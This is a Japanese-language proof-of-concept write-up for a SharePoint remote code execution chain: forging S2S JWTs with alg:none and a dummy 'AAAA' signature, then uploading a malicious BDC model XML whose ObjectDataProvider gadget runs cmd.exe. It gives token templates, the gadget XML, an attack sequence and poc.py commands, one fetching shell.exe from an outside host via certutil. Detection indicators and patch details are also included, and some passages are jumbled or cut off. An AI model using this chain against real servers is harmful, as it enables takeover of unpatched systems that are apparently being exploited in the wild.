
# Microsoft SharePoint における未認証RCEのエクスプロイトチェーン JWT認証バイパスと安全でない.NET型のインスタンス化を組み合わせ、サービスアカウントとしてコード実行を達成する、Microsoft SharePointの未認証RCEエクスプロイトチェーン。
Microsoft SharePoint Server に対する認証なし RCE。資格情報は不要です。
Stephen Fewer (Rapid7) は Pwn2Own Berlin 2026 で CVE-2026-55040 を実証しました。Rapid7 はその後の調査で CVE-2026-63520 を発見し、VulnCheck は独立して代替ガジェットチェーンを発見しました。この2つのバグを組み合わせることで、インターネット上のパッチ未適用の SharePoint に対して認証なしのリモートコード実行が可能になります。
CISA は PoC 公開から数時間以内に警告を発しました。現在、実環境で悪用されています。
2つのバグ、1つのチェーン:
| CVE | 種類 | CVSS | 影響 |
|---|---|---|---|
| CVE-2026-55040 | JWT 認証バイパス | 9.1 | SharePoint の S2S トークン検証には4つの独立した脆弱性があります。これらを連鎖させると、パスワードを知らなくても任意のユーザー(サイト管理者を含む)の有効な JWT を偽造できます。 |
| CVE-2026-63520 | 安全でない .NET 型インスタンス化 → RCE | 8.1 | Business Data Connectivity (BDC) は、アップロードされた XML から任意の .NET 型名を許可リストなしで解決します。ObjectDataProvider を指定すると Process.Start() が実行可能になります。 |
どちらのバグも単独では興味深いものではありません。CVE-2026-63520 は認証が必要です。CVE-2026-55040 は認証を提供します。組み合わせると: SharePoint サービスアカウントとしての認証なし RCE が実現します。
SharePoint はサーバー間 (S2S) 認証にネストされた JWT を使用します。外側のトークンはユーザー ID を保持し、内側の「アクタートークン」は呼び出し元アプリケーションを表します。SPJsonWebSecurityTokenHandlerV2.ValidateToken() の4つの脆弱性により、全体が崩壊します:
脆弱性1 - 署名検証が無効。 バリデータは RequireSignedTokens = false を設定します。外側のトークンは alg: none を受け入れます。署名は不要です。
脆弱性2 - 検証なしの x5t 解決。 アクタートークンの署名キーは、証明書ストア内の x5t (証明書サムプリント) ヘッダーを検索して解決されます。SharePoint はアクタートークンの署名が実際にそのキーと一致するかどうかを決してチェックしません。
脆弱性3 - 発行者検証が未知の証明書を受け入れる。 ValidateIssuer() は、署名証明書が TrustedSecurityTokenServices コレクションにない場合に合格します。SharePoint 自身の STS 証明書はそこに登録されていません。したがって、x5t を介してそれを参照すると、発行者検証は無条件に合格します。
脆弱性4 - 非暗号化署名チェック。 GetTokenSignature() は空でない文字列を要求しますが、暗号検証は一切行いません。任意の値が機能します。AAAA でも機能します。
STS 証明書は公開されています。/_layouts/15/metadata/json/1(認証不要のエンドポイント)から取得し、SHA-1 サムプリントを計算すれば、必要なものはすべて揃います。
外側のトークン (ユーザー ID を保持):
// ヘッダー
{"alg": "none", "typ": "JWT"}
// ペイロード
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<ターゲット SID または UPN>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<内側の JWT>"
}
// 署名: 空 (alg:none)
内側のアクタートークン (「アプリケーション」を表す):
// ヘッダー
{"alg": "RS256", "typ": "JWT", "x5t": "<STS 証明書サムプリント>"}
// ペイロード
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// 署名: "AAAA" (文字通り空でない任意の値)
ID を選択する3つの方法:
SharePoint の Business Data Connectivity サービスは、管理者が BDC モデル XML ファイル (.bdcm) を通じて外部データソースを定義できるようにします。これらのモデルは、BDC が実行時にインスタンス化する .NET 型を指定します。
問題は DbTypeReflector.ResolveDotNetType() にあります:
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // GAC 内の任意の型
15文字未満の型名は安全なリゾルバーを通過します。それより長いものは Type.GetType() を直接呼び出します - これはグローバルアセンブリキャッシュから任意のアセンブリ修飾型名を解決します。許可リストもブロックリストもありません。攻撃者は BDCM XML を通じて abstractTypeName を制御します。
PresentationFramework の System.Windows.Data.ObjectDataProvider を使用します。その ObjectInstance プロパティを設定すると、そのインスタンス上で MethodName が呼び出されます。MethodName = "Start" と ObjectInstance = System.Diagnostics.Process を細工した StartInfo とともに設定すると、BDC のプロパティセッターリフレクションが残りを処理します:
ObjectDataProvider 作成
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <ペイロード>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ プロパティセッターが QueryWorker() をトリガー
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
これを運ぶ BDCM XML:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
VulnCheck は、DotNetAssembly LobSystem を介した TypeConfuseDelegate 逆シリアル化を使用する System.Web.UI.LosFormatter による代替チェーンを文書化しました。複数のガジェットが機能します - 基盤となるプリミティブは無制限の型インスタンス化です。
攻撃者 SharePoint サーバー
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── STS 証明書 (x5t + realm) ─────────│ (認証不要)
│ │
│── DC への SMB ヌルセッション ──────────────▶ ドメインコントローラー
│◀── ドメイン SID ────────────────────────│
│ │
│── JWT 偽造 (alg:none + AAAA 署名) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: 管理者として認証
│ │
│── POST /_api/web/lists ────────────▶│ BDC カタログ作成
│── POST .../Files/add(evil.bdcm) ──▶│ ガジェットチェーンをアップロード
│── POST /_vti_bin/client.svc/ ──────▶│ ProcessQuery をトリガー
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c <ペイロード>
│ │ → SP サービスアカウントとして実行
6つのステップ:
STS 証明書を取得。 /_layouts/15/metadata/json/1 にアクセス。認証は不要です。keys[0].keyValue.value から X.509 証明書を抽出し、SHA-1 ハッシュして base64url エンコードします。それが x5t です。issuer フィールドから realm が得られます。
サイト管理者を見つける。 ドメインコントローラーへの SMB ヌルセッション、LSARPC LsarQueryInformationPolicy でドメイン SID を取得し、RID (500、1000-10000) を反復して各 RID の JWT を偽造し、/_api/web/currentuser が IsSiteAdmin: true を返すまで続けます。または、既知の UPN を指定するだけでも構いません。
JWT を偽造。 外側: alg:none、nameid = 管理者 SID、actortoken = 内側の JWT。内側: alg:RS256、x5t = STS サムプリント、署名 = AAAA。base64url エンコードし、ドットで連結します。完了です。
フォームダイジェストを取得。 偽造した Bearer トークンで を実行。SharePoint は書き込み操作用の を返します。
2026年8月の累積更新プログラムは、BDC がインスタンス化できる .NET 型を制限する ValidateSafeBcsType() を追加します。JWT 修正は、適切な署名検証を追加し、STS 証明書を信頼済みトークンサービスコレクションに登録します。
SharePoint 2016 のメインストリームサポートは 2026 年に終了しました。延長サポートのない組織は修正プログラムを受け取れない可能性があります。
依存関係をインストール:
pip install requests
pip install impacket # --domain-ip 自動 SID 検出にのみ必要
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
スクリプトは以下を実行します:
x5t と realm を取得python3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN] が表示されることを確認してください。これで JWT バイパスが機能し、管理者レベルのアクセス権があることが確認できます。
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
確認すべき項目:
alg: none の JWT。正当な S2S トークンは常に RS256 を使用します。/_layouts/15/metadata/json/1 へのリクエスト。メタデータエンドポイントは公開されていますが、偵察の後に管理者レベルのアクセスが続くのは不審です。BusinessDataMetadataCatalog に表示される 新しい .bdcm ファイル。ほとんどの SharePoint 展開では BDC をまったく使用しません。BDCM のアップロードは調査に値します。ObjectDataProvider または LosFormatter を含む、未知の BDC エンティティを参照する ProcessQuery リクエスト。w3wp.exe (SharePoint アプリケーションプール) からの プロセス生成。ワーカープロセスの子としての cmd.exe、powershell.exe、certutil.exe は典型的な指標です。許可されたセキュリティテストのみを対象としています。所有していないものに対して実行する前に、書面による許可を取得してください。
| モード | nameid | nii | 必要なもの |
|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | ドメイン SID (SMB ヌルセッション経由) + RID ブルートフォース |
| UPN | upn_bypass + upn クレーム | urn:office:idp:activedirectory | 有効な UPN (例: [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | なし。アクセスは制限されますが、一部のチェーンには十分です。 |
POST /_api/contextinfoFormDigestValueBDCM をアップロード。 BusinessDataMetadataCatalog ライブラリを作成し、ObjectDataProvider ガジェットチェーンを含む悪意のある .bdcm XML をアップロードします。
トリガーを引く。 BDC エンティティを解決するリクエストで POST /_vti_bin/client.svc/ProcessQuery を実行。SharePoint は BDCM から型をインスタンス化し、リフレクションでプロパティを設定し、ObjectDataProvider が Process.Start() を発火させます。コードは SharePoint サービスアカウントとして実行されます。
| 製品 | 脆弱なバージョン | パッチ | KB |
|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 未満 | 2026年8月 CU | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 未満 | 2026年8月 SU | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 未満 | 2026年8月 SU | - |